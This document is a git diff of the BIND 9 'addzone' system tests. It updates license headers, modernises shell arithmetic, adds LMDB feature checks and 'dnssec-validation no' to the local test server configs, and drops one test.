@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns2/previous.db b/bin/tests/system/addzone/ns2/previous.db
index 7fe5517618..6d2e495a8d 100644
--- a/bin/tests/system/addzone/ns2/previous.db
+++ b/bin/tests/system/addzone/ns2/previous.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns2/redirect.db.1 b/bin/tests/system/addzone/ns2/redirect.db.1
index 7b40db9c33..5dcdd1bba7 100644
--- a/bin/tests/system/addzone/ns2/redirect.db.1
+++ b/bin/tests/system/addzone/ns2/redirect.db.1
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns2/redirect.db.2 b/bin/tests/system/addzone/ns2/redirect.db.2
index a4f0d3806c..4dcbdbc012 100644
--- a/bin/tests/system/addzone/ns2/redirect.db.2
+++ b/bin/tests/system/addzone/ns2/redirect.db.2
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns3/e.db b/bin/tests/system/addzone/ns3/e.db
index d5f7ff9c25..7f74f0a8b2 100644
--- a/bin/tests/system/addzone/ns3/e.db
+++ b/bin/tests/system/addzone/ns3/e.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns3/example.db b/bin/tests/system/addzone/ns3/example.db
index 4f150a030a..2bf4f8d1e5 100644
--- a/bin/tests/system/addzone/ns3/example.db
+++ b/bin/tests/system/addzone/ns3/example.db
@@ -1,2 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 @ IN SOA localhost. localhost.localhost. 1 10800 3600 605800 86400
 @ IN NS localhost.
diff --git a/bin/tests/system/addzone/ns3/named1.conf.in b/bin/tests/system/addzone/ns3/named1.conf.in
index 2ee5e26091..6c512a670c 100644
--- a/bin/tests/system/addzone/ns3/named1.conf.in
+++ b/bin/tests/system/addzone/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,6 +25,7 @@ options {
 	allow-query { any; };
 	recursion no;
 	allow-new-zones yes;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/addzone/ns3/named2.conf.in b/bin/tests/system/addzone/ns3/named2.conf.in
index 5aa682fb38..6ca25f1a19 100644
--- a/bin/tests/system/addzone/ns3/named2.conf.in
+++ b/bin/tests/system/addzone/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,4 +25,5 @@ options {
 	allow-query { any; };
 	recursion no;
 	allow-new-zones yes;
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/addzone/ns3/redirect.db.1 b/bin/tests/system/addzone/ns3/redirect.db.1
index 6444bad4d4..60a262202f 100644
--- a/bin/tests/system/addzone/ns3/redirect.db.1
+++ b/bin/tests/system/addzone/ns3/redirect.db.1
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns3/redirect.db.2 b/bin/tests/system/addzone/ns3/redirect.db.2
index aa98885563..3804fef909 100644
--- a/bin/tests/system/addzone/ns3/redirect.db.2
+++ b/bin/tests/system/addzone/ns3/redirect.db.2
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/setup.sh b/bin/tests/system/addzone/setup.sh
index ad9fec5a09..b2227c16b2 100644
--- a/bin/tests/system/addzone/setup.sh
+++ b/bin/tests/system/addzone/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/addzone/tests.sh b/bin/tests/system/addzone/tests.sh
index a3f7c6c603..131da00048 100755
--- a/bin/tests/system/addzone/tests.sh
+++ b/bin/tests/system/addzone/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +nosea +nostat +nocmd +norec +noques +noauth +noadd +nostats +dnssec -p ${PORT}"
@@ -28,9 +32,9 @@ ret=0
 $DIG $DIGOPTS @10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # When LMDB support is compiled in, this tests that migration from
 # NZF to NZD occurs during named startup
@@ -39,16 +43,16 @@ ret=0
 $DIG $DIGOPTS @10.53.0.2 a.previous.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.previous.example' dig.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-if [ -n "$NZD" ]; then
+if $FEATURETEST --with-lmdb; then
     echo_i "checking that existing NZF file was renamed after migration ($n)"
     [ -e ns2/3bf305731dd26307.nzf~ ] || ret=1
-    n=`expr $n + 1`
+    n=$((n + 1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 echo_i "adding new zone ($n)"
@@ -60,27 +64,27 @@ _check_adding_new_zone () (
 	grep '^a.added.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_adding_new_zone || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 nextpart ns2/named.run >/dev/null
 echo_i "checking addzone errors are logged correctly"
 ret=0
 $RNDCCMD 10.53.0.2 addzone bad.example '{ type mister; };' 2>&1 | grep 'unexpected token' > /dev/null 2>&1 || ret=1
 wait_for_log_peek 20 "addzone: 'mister' unexpected" ns2/named.run || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 nextpart ns2/named.run >/dev/null
 echo_i "checking modzone errors are logged correctly"
 ret=0
 $RNDCCMD 10.53.0.2 modzone added.example '{ type mister; };' 2>&1 | grep 'unexpected token' > /dev/null 2>&1 || ret=1
 wait_for_log_peek 20 "modzone: 'mister' unexpected" ns2/named.run || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "adding a zone that requires quotes ($n)"
 ret=0
@@ -92,9 +96,9 @@ _check_zone_that_requires_quotes() (
 	grep '^a.32/1.0.0.127-in-addr.added.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_zone_that_requires_quotes || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "adding a zone with a quote in the name ($n)"
 ret=0
@@ -105,48 +109,48 @@ _check_zone_with_a_quote() (
 	grep '^a.foo\\"bar.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_zone_with_a_quote || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "adding new zone with missing file ($n)"
 ret=0
 $DIG $DIGOPTS +all @10.53.0.2 a.missing.example a > dig.out.ns2.pre.$n || ret=1
 grep "status: REFUSED" dig.out.ns2.pre.$n > /dev/null || ret=1
-$RNDCCMD 10.53.0.2 addzone 'missing.example { type primary; file "missing.db"; };' 2> rndc.out.ns2.$n
+$RNDCCMD 10.53.0.2 addzone 'missing.example { type primary; file "missing.db"; };' 2> rndc.out.ns2.$n && ret=1
 grep "file not found" rndc.out.ns2.$n > /dev/null || ret=1
 $DIG $DIGOPTS +all @10.53.0.2 a.missing.example a > dig.out.ns2.post.$n || ret=1
 grep "status: REFUSED" dig.out.ns2.post.$n > /dev/null || ret=1
 digcomp dig.out.ns2.pre.$n dig.out.ns2.post.$n || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-if [ -z "$NZD" ]; then
+if ! $FEATURETEST --with-lmdb; then
     echo_i "verifying no comments in NZF file ($n)"
     ret=0
-    hcount=`grep "^# New zone file for view: _default" ns2/3bf305731dd26307.nzf | wc -l`
+    hcount=$(grep "^# New zone file for view: _default" ns2/3bf305731dd26307.nzf | wc -l)
     [ $hcount -eq 0 ] || ret=1
-    n=`expr $n + 1`
+    n=$((n + 1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 echo_i "checking rndc showzone with previously added zone ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 showzone previous.example > rndc.out.ns2.$n
 expected='zone "previous.example" { type primary; file "previous.db"; };'
-[ "`cat rndc.out.ns2.$n`" = "$expected" ] || ret=1
-n=`expr $n + 1`
+[ "$(cat rndc.out.ns2.$n)" = "$expected" ] || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-if [ -n "$NZD" ]; then
+if $FEATURETEST --with-lmdb; then
     echo_i "checking zone is present in NZD ($n)"
     ret=0
     $NZD2NZF ns2/_default.nzd | grep previous.example > /dev/null || ret=1
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 echo_i "deleting previously added zone ($n)"
@@ -158,30 +162,30 @@ _check_deleting_previously_added_zone() (
 	! grep '^a.previous.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_deleting_previously_added_zone || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 check_nzd2nzf() (
 	$NZD2NZF ns2/_default.nzd > nzd2nzf.out.$n &&
 	! grep previous.example nzd2nzf.out.$n > /dev/null
 )
 
-if [ -n "$NZD" ]; then
+if $FEATURETEST --with-lmdb; then
     echo_i "checking zone was deleted from NZD ($n)"
     retry_quiet 10 check_nzd2nzf || ret=1
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
-if [ -z "$NZD" ]; then
+if ! $FEATURETEST --with-lmdb; then
     echo_i "checking NZF file now has comment ($n)"
     ret=0
-    hcount=`grep "^# New zone file for view: _default" ns2/3bf305731dd26307.nzf | wc -l`
+    hcount=$(grep "^# New zone file for view: _default" ns2/3bf305731dd26307.nzf | wc -l)
     [ $hcount -eq 1 ] || ret=1
-    n=`expr $n + 1`
+    n=$((n + 1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 echo_i "deleting newly added zone added.example ($n)"
@@ -193,9 +197,9 @@ _check_deleting_newly_added_zone() (
 	! grep '^a.added.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_deleting_newly_added_zone || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "deleting newly added zone with escaped quote ($n)"
 ret=0
@@ -206,45 +210,45 @@ _check_deleting_newly_added_zone_quote() (
 	! grep "^a.foo\"bar.example" dig.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_deleting_newly_added_zone_quote || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking rndc showzone with a normally-loaded zone ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 showzone normal.example > rndc.out.ns2.$n
 expected='zone "normal.example" { type primary; file "normal.db"; };'
-[ "`cat rndc.out.ns2.$n`" = "$expected" ] || ret=1
-n=`expr $n + 1`
+[ "$(cat rndc.out.ns2.$n)" = "$expected" ] || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking rndc showzone with a normally-loaded zone with trailing dot ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 showzone finaldot.example > rndc.out.ns2.$n
 expected='zone "finaldot.example." { type primary; file "normal.db"; };'
-[ "`cat rndc.out.ns2.$n`" = "$expected" ] || ret=1
-n=`expr $n + 1`
+[ "$(cat rndc.out.ns2.$n)" = "$expected" ] || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking rndc showzone with a normally-loaded redirect zone ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 showzone -redirect > rndc.out.ns1.$n
 expected='zone "." { type redirect; file "redirect.db"; };'
-[ "`cat rndc.out.ns1.$n`" = "$expected" ] || ret=1
-n=`expr $n + 1`
+[ "$(cat rndc.out.ns1.$n)" = "$expected" ] || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking rndc zonestatus with a normally-loaded redirect zone ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 zonestatus -redirect > rndc.out.ns1.$n
 grep "type: redirect" rndc.out.ns1.$n > /dev/null || ret=1
 grep "serial: 0" rndc.out.ns1.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking rndc reload with a normally-loaded redirect zone ($n)"
 ret=0
@@ -252,9 +256,9 @@ sleep 1
 cp -f ns1/redirect.db.2 ns1/redirect.db
 $RNDCCMD 10.53.0.1 reload -redirect > rndc.out.ns1.$n
 retry_quiet 5 check_zonestatus 1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "delete a normally-loaded zone ($n)"
 ret=0
@@ -268,9 +272,9 @@ _check_delete_normally_loaded_zone() (
 )
 retry_quiet 5 _check_delete_normally_loaded_zone || ret=1
 
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "attempting to add primary zone with inline signing ($n)"
 $RNDCCMD 10.53.0.2 addzone 'inline.example { type primary; file "inline.db"; inline-signing yes; };' 2>&1 | sed 's/^/I:ns2 /'
@@ -280,17 +284,17 @@ _check_add_primary_zone_with_inline() (
 	grep '^a.inline.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 5 _check_add_primary_zone_with_inline || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "attempting to add primary zone with inline signing and missing file ($n)"
 ret=0
-$RNDCCMD 10.53.0.2 addzone 'inlinemissing.example { type primary; file "missing.db"; inline-signing yes; };' 2> rndc.out.ns2.$n
+$RNDCCMD 10.53.0.2 addzone 'inlinemissing.example { type primary; file "missing.db"; inline-signing yes; };' 2> rndc.out.ns2.$n && ret=1
 grep "file not found" rndc.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "attempting to add secondary zone with inline signing ($n)"
 $RNDCCMD 10.53.0.2 addzone 'inlinesec.example { type secondary; primaries { 10.53.0.1; }; file "inlinesec.bk"; inline-signing yes; };' 2>&1 | sed 's/^/I:ns2 /'
@@ -300,9 +304,9 @@ _check_add_secondary_with_inline() (
 	grep '^a.inlinesec.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 5 _check_add_secondary_with_inline || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "attempting to delete secondary zone with inline signing ($n)"
 ret=0
@@ -316,8 +320,8 @@ test ! -f inlinesec.bk.signed ||
 grep '^inlinesec.bk.signed$' rndc.out2.test$n > /dev/null || {
 	echo_i "failed to report inlinesec.bk.signed"; ret=1;
 }
-n=`expr $n + 1`
-status=`expr $status + $ret`
+n=$((n + 1))
+status=$((status + ret))
 
 echo_i "restoring secondary zone with inline signing ($n)"
 $RNDCCMD 10.53.0.2 addzone 'inlinesec.example { type secondary; primaries { 10.53.0.1; }; file "inlinesec.bk"; inline-signing yes; };' 2>&1 | sed 's/^/I:ns2 /'
@@ -327,17 +331,17 @@ _check_restoring_secondary_with_inline() (
 	grep '^a.inlinesec.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 5 _check_restoring_secondary_with_inline || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "deleting secondary zone with automatic zone file removal ($n)"
 ret=0
 retry_quiet 10 test -f ns2/inlinesec.bk.signed -a -f ns2/inlinesec.bk || ret=1
 $RNDCCMD 10.53.0.2 delzone -clean inlinesec.example > /dev/null 2>&1
 retry_quiet 10 test ! -f ns2/inlinesec.bk.signed -a ! -f ns2/inlinesec.bk
-n=`expr $n + 1`
-status=`expr $status + $ret`
+n=$((n + 1))
+status=$((status + ret))
 
 echo_i "modifying zone configuration ($n)"
 ret=0
@@ -347,23 +351,23 @@ grep 'status: NOERROR' dig.out.ns2.1.$n > /dev/null || ret=1
 $RNDCCMD 10.53.0.2 modzone 'mod.example { type primary; file "added.db"; allow-query { none; }; };' 2>&1 | sed 's/^/ns2 /' | cat_i
 $DIG +norec $DIGOPTS @10.53.0.2 mod.example ns > dig.out.ns2.2.$n || ret=1
 $RNDCCMD 10.53.0.2 showzone mod.example | grep 'allow-query { "none"; };' > /dev/null 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that adding a 'stub' zone works ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 addzone 'stub.example { type stub; primaries { 1.2.3.4; }; file "stub.example.bk"; };' > rndc.out.ns2.$n 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that adding a 'static-stub' zone works ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 addzone 'static-stub.example { type static-stub; server-addresses { 1.2.3.4; }; };' > rndc.out.ns2.$n 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that adding a 'primary redirect' zone works ($n)"
 ret=0
@@ -376,9 +380,9 @@ _check_add_primary_redirect() (
 	grep "serial: 0" zonestatus.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_add_primary_redirect || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that reloading a added 'primary redirect' zone works ($n)"
 ret=0
@@ -386,16 +390,16 @@ sleep 1
 cp -f ns2/redirect.db.2 ns2/redirect.db
 $RNDCCMD 10.53.0.2 reload -redirect > rndc.out.ns2.$n
 retry_quiet 10 check_zonestatus 2 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that retransfer of a added 'primary redirect' zone fails ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 retransfer -redirect > rndc.out.ns2.$n 2>&1 && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that deleting a 'primary redirect' zone works ($n)"
 ret=0
@@ -405,9 +409,9 @@ _check_deleting_primary_redirect() (
 	grep 'not found' showzone.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_deleting_primary_redirect || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that adding a 'secondary redirect' zone works ($n)"
 ret=0
@@ -420,9 +424,9 @@ _check_adding_secondary_redirect() (
 	grep "serial: 0" zonestatus.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_adding_secondary_redirect || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that retransfering a added 'secondary redirect' zone works ($n)"
 ret=0
@@ -435,9 +439,9 @@ _check_retransfering_secondary_redirect() (
 	grep "serial: 1" zonestatus.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_retransfering_secondary_redirect || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that deleting a 'secondary redirect' zone works ($n)"
 ret=0
@@ -447,41 +451,33 @@ _check_deleting_secondary_redirect() (
 	grep 'not found' showzone.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_deleting_secondary_redirect || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that zone type 'hint' is properly rejected ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 addzone '"." { type hint; file "hints.db"; };' > rndc.out.ns2.$n 2>&1 && ret=1
 grep "zones not supported by addzone" rndc.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that zone type 'forward' is properly rejected ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 addzone 'forward.example { type forward; forwarders { 1.2.3.4; }; forward only; };' > rndc.out.ns2.$n 2>&1 && ret=1
 grep "zones not supported by addzone" rndc.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "check that zone type 'delegation-only' is properly rejected ($n)"
-ret=0
-$RNDCCMD 10.53.0.2 addzone 'delegation-only.example { type delegation-only; };' > rndc.out.ns2.$n 2>&1 && ret=1
-grep "zones not supported by addzone" rndc.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'in-view' zones are properly rejected ($n)"
 ret=0
 $RNDCCMD 10.53.0.2 addzone 'in-view.example { in-view "_default"; };' > rndc.out.ns2.$n 2>&1 && ret=1
 grep "zones not supported by addzone" rndc.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "reconfiguring server with multiple views"
 rm -f ns2/named.conf
@@ -506,27 +502,27 @@ grep 'status: NOERROR' dig.out.ns2.int.$n > /dev/null || ret=1
 $DIG +norec $DIGOPTS @10.53.0.4 -b 10.53.0.4 a.added.example a > dig.out.ns2.ext.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.ext.$n > /dev/null || ret=1
 grep '^a.added.example' dig.out.ns2.ext.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
